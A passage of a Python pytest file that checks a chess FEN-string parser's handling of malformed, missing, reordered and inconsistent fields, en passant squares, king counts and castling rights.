assert test.halfMove == '0'
assert test.move == '1'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 0 1'
def test_MisplacedDigitsboth():
# misplaced digits will be reset
# half move will be reset to 0, move to 1
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w 1 2 KQkq -')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '0'
assert test.move == '1'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 0 1'
def test_MisplacedDigitsOne():
# misplaced digits will be reset
# half move will be reset to 0
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w 1 KQkq - 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '0'
# the last digit is assumed to be the move counter
assert test.move == '2'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 0 2'
# ------------------------------------------------------------ 5 tests: total 9
# -------------------- fen passed with missing elements -----------------------
def test_FenBoardOnly():
with mock.patch('builtins.input',side_effect = ['w','KQkq','-']):
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq 1 2')
# reset all but board and halfMove/move, as missing element
# requires input of all other elements of the fen
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 1 2'
def test_fenMissingBoard():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R']):
test = Fen(fen = 'w KQkq - 1 2')
# reset all but board and halfMove/move, as missing element
# requires input of all other elements of the fen
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 1 2'
def test_fenMissingToPlay():
with mock.patch('builtins.input',side_effect = ['w']):
test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR KQkq d6 0 3')
# position after 1 e4 e6 2 e5 d5
# the missing toPlay would make it impossible to check ep,
# but toPlay should be set in time to prevent problem
assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == 'd6'
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3'
def test_fenMissingCastling():
with mock.patch('builtins.input',side_effect = ['KQkq']):
test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w d6 0 3')
assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == 'd6'
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3'
def test_fenMissingEP():
with mock.patch('builtins.input',side_effect = ['d6']):
test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq 0 3')
assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == 'd6'
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3'
def test_fenMissingDigit():
test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 3')
# assumed that the provided digit is the move number
# half move will be reset to 0
assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == 'd6'
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3'
# ----------------------------------------------------------- 6 tests: total 15
# -------------------- test allocation of '-' ---------------------------------
def test_ep_None():
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_castling_None_EPwrong():
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b - e3 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == '-'
# no enemy pawns in place so reset to '-'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_castling_None_EPok():
test = Fen(fen = 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R b - e3 1 2')
# position after 1 Nf3 d5 2 Nc3 d4 3 e4: e3 is a ep square
assert test.board == 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R'
assert test.toPlay == 'b'
assert test.castling == '-'
# e3 is valid
assert test.ep == 'e3'
assert test.halfMove == '0' # last move was pawn move
assert test.move == '2'
def test_castling_ep():
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b - - 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == '-'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_2Blanks_castling_set():
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b - - KQkq 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_2Blanks_ep_setIncorrectly():
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b - - e3 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == '-'
assert test.ep == '-' # e3 inconsistant with board
assert test.halfMove == '1'
assert test.move == '2'
def test_2Blanks_ep_setCorrectly():
test = Fen(fen = 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R b - - e3 1 2')
# 1 Nf3 d5 2 Nc3 d4 3 e4 - e3 valid
assert test.board == 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R'
assert test.toPlay == 'b'
assert test.castling == '-'
assert test.ep == 'e3'
assert test.halfMove == '0' # last move was pawn move
assert test.move == '2'
# ----------------------------------------------------------- 7 tests: total 22
# -------------------- test of extra white spaces -----------------------------
def test_fenWhiteSpaceBetweenElements():
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq d6 0 3')
assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-' #d6 inconsistant with board
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3'
def test_fenLeadingWhiteSapce():
test = Fen(fen = ' rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq d6 0 3')
assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-' # d6 inconsistant with board
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3'
def test_fenTrailingWhiteSpace():
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq d6 0 3 ')
assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-' # d6 inconsistant with board
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3'
def test_fenWhiteSpaceInCastling():
with mock.patch('builtins.input',side_effect = ['KQkq']):
# problem this would result in two valid castling elements
# should be caught as contradictory and require input of castling
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQ kq d6 0 3')
assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-' # d6 inconstsant with board
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3'
def test_fenWhiteSpaceInEP():
with mock.patch('builtins.input',side_effect = ['d6']):
# problem this would result in two valid castling elements
# should be caught as contradictory and require input of castling
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq d 6 0 3')
assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-' #d6 incosistant with board
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3'
def test_fenWhiteSpaceInCandEP():
with mock.patch('builtins.input',side_effect = ['KQkq', 'd6']):
# problem this would result in two valid castling elements
# should be caught as contradictory and require input of castling
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w K Qkq d 6 0 3')
assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-' # d6 inconsistent with board
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3'
# ----------------------------------------------------------- 6 test: total 28
# -------------------- fen elements incorrect ---------------------------------
def test_toPlayError():
with mock.patch('builtins.input',side_effect = ['w']):
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R z KQkq - 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_CastlingError():
with mock.patch('builtins.input',side_effect = ['KQkq', '-']):
# as the castling element is unrecognisable, '-'
# cannot be allocated, so ep needs to be set
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkx - 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_epError():
with mock.patch('builtins.input',side_effect = ['-']):
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq x 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
# ----------------------------------------------------------- 3 tests: total 31
# -------------------- ep invalid squares -------------------------------------
def test_epInvalidSquare():
with mock.patch('builtins.input',side_effect = ['-']):
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq e5 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
# manual reset ep to '-'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_epwtpValid():
test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKB1R w KQkq d6 0 3')
# after 1 e4 e6 2 e5 d4: e6 correct
assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == 'd6'
assert test.halfMove == '0'
assert test.move == '3'
def test_epbtpValid():
test = Fen(fen = 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R b KQkq e3 0 4')
# after 1 Nf3 d5 2 Nc3 d4 3 e4: e3 correct
assert test.board == 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == 'e3'
assert test.halfMove == '0'
assert test.move == '4'
def test_epwtpInvalid():
with mock.patch('builtins.input',side_effect = ['-']):
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq e3 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
# temporary: reset fentest.ep to '-'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_epbtpInvalid():
with mock.patch('builtins.input',side_effect = ['-']):
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq e6 1 2')
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
# ep reset to '-'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_ep_a6_correct():
test = Fen('4k3/8/8/pP6/8/8/8/4K3 w - a6 0 1')
assert test.ep == 'a6'
def test_ep_a6_incorrect():
test = Fen('4k3/8/8/p1P5/8/8/8/4K3 w - a6 0 1')
assert test.ep == '-'
def test_ep_b6_correctRA():
test = Fen('4k3/8/8/1pP5/8/8/8/4K3 w - b6 0 1')
assert test.ep == 'b6'
def test_ep_b6_correctLA():
test = Fen('4k3/8/8/Pp6/8/8/8/4K3 w - b6 0 1')
assert test.ep == 'b6'
def test_ep_b6_incorrect():
test = Fen('4k3/8/8/1p1P4/8/8/8/4K3 w - b6 0 1')
assert test.ep == '-'
def test_ep_c6_correctRA():
test = Fen('4k3/8/8/2pP4/8/8/8/4K3 w - c6 0 1')
assert test.ep == 'c6'
def test_ep_c6_correctLA():
test = Fen('4k3/8/8/1Pp5/8/8/8/4K3 w - c6 0 1')
assert test.ep == 'c6'
def test_ep_c6_incorrect():
test = Fen('4k3/8/8/2p1P3/8/8/8/4K3 w - c6 0 1')
assert test.ep == '-'
def test_ep_d6_correctRA():
test = Fen('4k3/8/8/3pP3/8/8/8/4K3 w - d6 0 1')
assert test.ep == 'd6'
def test_ep_d6_correctLA():
test = Fen('4k3/8/8/2Pp4/8/8/8/4K3 w - d6 0 1')
assert test.ep == 'd6'
def test_ep_d6_incorrect():
test = Fen('4k3/8/8/3p1P2/8/8/8/4K3 w - d6 0 1')
assert test.ep == '-'
def test_ep_e6_correctRA():
test = Fen('4k3/8/8/4pP2/8/8/8/4K3 w - e6 0 1')
assert test.ep == 'e6'
def test_ep_e6_correctLA():
test = Fen('4k3/8/8/3Pp3/8/8/8/4K3 w - e6 0 1')
assert test.ep == 'e6'
def test_ep_e6_incorrect():
test = Fen('4k3/8/8/4p1P1/8/8/8/4K3 w - e6 0 1')
assert test.ep == '-'
def test_ep_f6_correctRA():
test = Fen('4k3/8/8/5pP1/8/8/8/4K3 w - f6 0 1')
assert test.ep == 'f6'
def test_ep_f6_correctLA():
test = Fen('4k3/8/8/4Pp2/8/8/8/4K3 w - f6 0 1')
assert test.ep == 'f6'
def test_ep_f6_incorrect():
test = Fen('4k3/8/8/5p1P/8/8/8/4K3 w - f6 0 1')
assert test.ep == '-'
def test_ep_g6_correctRA():
test = Fen('4k3/8/8/6pP/8/8/8/4K3 w - g6 0 1')
assert test.ep == 'g6'
def test_ep_g6_correctLA():
test = Fen('4k3/8/8/5Pp1/8/8/8/4K3 w - g6 0 1')
assert test.ep == 'g6'
def test_ep_g6_incorrect():
test = Fen('4k3/8/8/P5p1/8/8/8/4K3 w - g6 0 1')
assert test.ep == '-'
def test_ep_h6_correct():
test = Fen('4k3/8/8/6Pp/8/8/8/4K3 w - h6 0 1')
assert test.ep == 'h6'
def test_ep_h6_incorrect():
test = Fen('4k3/8/8/1P5p/8/8/8/4K3 w - h6 0 1')
assert test.ep == '-'
def test_ep_a3_correct():
test = Fen('4k3/8/8/8/Pp6/8/8/4K3 b - a3 0 1')
assert test.ep == 'a3'
def test_ep_a3_incorrect():
test = Fen('4k3/8/8/8/P1p5/8/8/4K3 b - a3 0 1')
assert test.ep == '-'
def test_ep_b3_correctRA():
test = Fen('4k3/8/8/8/1Pp5/8/8/4K3 b - b3 0 1')
assert test.ep == 'b3'
def test_ep_b3_correctLA():
test = Fen('4k3/8/8/8/pP6/8/8/4K3 b - b3 0 1')
assert test.ep == 'b3'
def test_ep_b3_incorrect():
test = Fen('4k3/8/8/8/1P1p4/8/8/4K3 b - b3 0 1')
assert test.ep == '-'
def test_ep_c3_correctRA():
test = Fen('4k3/8/8/8/2Pp4/8/8/4K3 b - c3 0 1')
assert test.ep == 'c3'
def test_ep_c3_correctLA():
test = Fen('4k3/8/8/8/1pP5/8/8/4K3 b - c3 0 1')
assert test.ep == 'c3'
def test_ep_c3_incorrect():
test = Fen('4k3/8/8/8/2P1p3/8/8/4K3 b - c3 0 1')
assert test.ep == '-'
def test_ep_d3_correctRA():
test = Fen('4k3/8/8/8/3Pp3/8/8/4K3 b - d3 0 1')
assert test.ep == 'd3'
def test_ep_d3_correctLA():
test = Fen('4k3/8/8/8/2pP4/8/8/4K3 b - d3 0 1')
assert test.ep == 'd3'
def test_ep_d3_incorrect():
test = Fen('4k3/8/8/8/3P1p2/8/8/4K3 b - d3 0 1')
assert test.ep == '-'
def test_ep_e3_correctRA():
test = Fen('4k3/8/8/8/4Pp2/8/8/4K3 b - e3 0 1')
assert test.ep == 'e3'
def test_ep_e3_correctLA():
test = Fen('4k3/8/8/8/3pP3/8/8/4K3 b - e3 0 1')
assert test.ep == 'e3'
def test_ep_e3_incorrect():
test = Fen('4k3/8/8/8/4p1P1/8/8/4K3 b - e3 0 1')
assert test.ep == '-'
def test_ep_f3_correctRA():
test = Fen('4k3/8/8/8/5Pp1/8/8/4K3 b - f3 0 1')
assert test.ep == 'f3'
def test_ep_f3_correctLA():
test = Fen('4k3/8/8/8/4pP2/8/8/4K3 b - f3 0 1')
assert test.ep == 'f3'
def test_ep_f3_incorrect():
test = Fen('4k3/8/8/8/5P1p/8/8/4K3 b - f3 0 1')
assert test.ep == '-'
def test_ep_g3_correctRA():
test = Fen('4k3/8/8/8/6Pp/8/8/4K3 b - g3 0 1')
assert test.ep == 'g3'
def test_ep_g3_correctLA():
test = Fen('4k3/8/8/8/5pP1/8/8/4K3 b - g3 0 1')
assert test.ep == 'g3'
def test_ep_g3_incorrect():
test = Fen('4k3/8/8/8/p5P1/8/8/4K3 b - g3 0 1')
assert test.ep == '-'
def test_ep_h3_correct():
test = Fen('4k3/8/8/8/6pP/8/8/4K3 b - h3 0 1')
assert test.ep == 'h3'
def test_ep_h3_incorrect():
test = Fen('4k3/8/8/8/1p5P/8/8/4K3 b - h3 0 1')
assert test.ep == '-'
# ---------------------------------------------------------- 49 tests: total 80
# -------------------- fen elements out of order ------------------- ----------
# valid toPlay, castling and ep should be recognised
def test_orderFenValidEP():
test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR d6 w KQkq 0 3')
assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR'
assert test.toPlay == 'w'
assert test.castling == 'KQkq'
assert test.ep == 'd6'
assert test.halfMove == '0'
assert test.move == '3'
assert str(test) == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3'
# ------------------------------------------------------------ 1 test: total 81
# ------------------- board errors: kings -------------------------------------
def test_noWhiteKing():
# this checks that the absence of a white king results in an error
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq']): # full reset to starting position
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQQB1R b KQkq - 1 2')
# input of corrected board element
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_manyWhiteKings():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq']): # full reset to starting position
test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBKKB1R b KQkq - 1 2')
# input of corrected board element
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_noBlackKing():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq']): # full reset to starting position
test = Fen(fen = 'rnbqqbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2')
# input of corrected board element
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
def test_manyBlackKings():
with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq']): # full reset to starting position
test = Fen(fen = 'rnbkkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQQB1R b KQkq - 1 2')
# input of corrected board element
assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq'
assert test.toPlay == 'b'
assert test.castling == 'KQkq'
assert test.ep == '-'
assert test.halfMove == '1'
assert test.move == '2'
# ----------------------------------------------------------- 4 tests: total 85
# -------------------- castling: Board incorrect ------------------------------
def test_castling_KQkq_Passed(good_fen):
test = Fen(good_fen)
assert test.castling == 'KQkq'
def test_KQkq_Wht_K_Moved():
test = Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/8/PPPPKPPP/RNBQ1B1R w KQkq - 2 2')
# after 1 e4 e5 2 Ke2
# system should change castling automatically to 'kq'
assert test.castling == 'kq'
def test_KQkq_Blk_K_Moved():
test = Fen('rnbq1bnr/ppppkppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 2 3')
# after 1e4 e5 2 Nf3 Ke7
# system should change castling automatically to 'KQ'
assert test.castling == 'KQ'
def test_KQkq_Wht_KR_Moved():
test = Fen('r1bqkbnr/pppp1ppp/2N5/4p3/4P3/8/PPPP1PPP/RNBQKBR1 w KQkq - 3 3')
# after 1 e4 e5 2 Nf3 Nc6 3 Rg1
# system should change castling automatically to 'Qkq'
assert test.castling == 'Qkq'
def test_KQkq_Blk_KR_Moved():
test = Fen('rnbqkbr1/pppp1ppp/5n2/4p3/4P3/2N2N2/PPPP1PPP/RNBQKB1R w KQkq - 4 4')
# after 1 e4 e5 2 Nf3 Nf6 3 Nc3 Rg8
# system should change castling automatically to 'KQq'
assert test.castling == 'KQq'
def test_KQkq_Both_KR_Moved():
test = Fen('rnbqkbr1/pppp1ppp/5n2/4p3/4P3/5N2/PPPP1PPP/RNBQKBR1 w KQkq - 4 4')
# after 1 e4 e5 2 Nf3 Nf6 3 Rg1 Rg8
# system should change castling automatically to 'Qq'
assert test.castling == 'Qq'
def test_KQkq_Wht_QR_Moved():
test = Fen('r1bqkbnr/pppppppp/2N5/8/8/2N5/PPPPPPPP/1RBQKBNR b KQkq - 3 2')
# after 1 Nc3 Nc6 2 Rb1
# system should change castling automatically to 'Kkq'
assert test.castling == 'Kkq'
def test_KQkq_Blk_QR_Moved():
test = Fen('1rbqkbnr/pppppppp/2N5/8/4P3/2N5/PPPP1PPP/R1BQKBNR b KQkq - 1 3')
# after 1 Nc3 Nc6 2 e4 Rb8
# system should change castling automatically to 'KQk'
assert test.castling == 'KQk'
def test_KQkq_Both_QR_Moved():
test = Fen('1rbqkbnr/pppppppp/2N5/8/8/2N5/PPPPPPPP/1RBQKBNR b KQkq - 1 3')
# after 1 Nc3 Nc6 2 Rb1 Rb8
# system should change castling automatically to 'Kk'
assert test.castling == 'Kk'
def test_KQk_Passed_position_unclear(): # Blk Rook moved and moved back
test = Fen('r1bqkb1r/ppp2ppp/2np1n2/4p3/4P3/2NP1N2/PPP2PPP/R1BQKB1R w KQk -')
# in this position it is not clear whether or not the Kings or Rooks
# have moved as each Rook could have moved and moved back and the kings
# could have moved and directly moved back or taken a triangluar
# route back to their original square.
assert test.castling == 'KQk'
# program accepts input
#random selection of other possibilities
def test_KQq_Wht_K_Moved():
test = Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/8/PPPPKPPP/RNBQ1B1R w KQq - 2 2')
# after 1 e4 e5 2 Ke2
# system should change castling automatically to 'q' as passed value implies
# q-side castling still Ok, but not so given Wnt K position
assert test.castling == 'q'
def test_KQq_Wht_KR_Moved():
test = Fen('r1bqkbnr/pppp1ppp/2N5/4p3/4P3/8/PPPP1PPP/RNBQKBR1 w KQq - 3 3')
# after 1 e4 e5 2 Nf3 Nc6 3 Rg1
# accepting the implied input that Blk KR moved and moved back the system
# should change castling automatically to 'Qq'
assert test.castling == 'Qq'
def test_KQk_Blk_K_Moved():
test = Fen('rnbq1bnr/ppppkppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R w KQk - 2 3')
# after 1e4 e5 2 Nf3 Ke7
# system should change agree to passed value 'KQ'
assert test.castling == 'KQ'
def test_KQ_Blk_KR_Moved():
test = Fen('rnbqkbr1/pppp1ppp/5n2/4p3/4P3/2N2N2/PPPP1PPP/RNBQKB1R w KQ - 4 4')
# after 1 e4 e5 2 Nf3 Nf6 3 Nc3 Rg8
# system should leave castling as 'KQ'
assert test.castling == 'KQ'
def test_Kkq_Both_KR_Moved():
test = Fen('rnbqkbr1/pppp1ppp/5n2/4p3/4P3/5N2/PPPP1PPP/RNBQKBR1 w Kkq - 4 4')
# after 1 e4 e5 2 Nf3 Nf6 3 Rg1 Rg8
# system should change castling automatically to 'q'
assert test.castling == 'q'
def test_Qkq_Wht_QR_Moved():
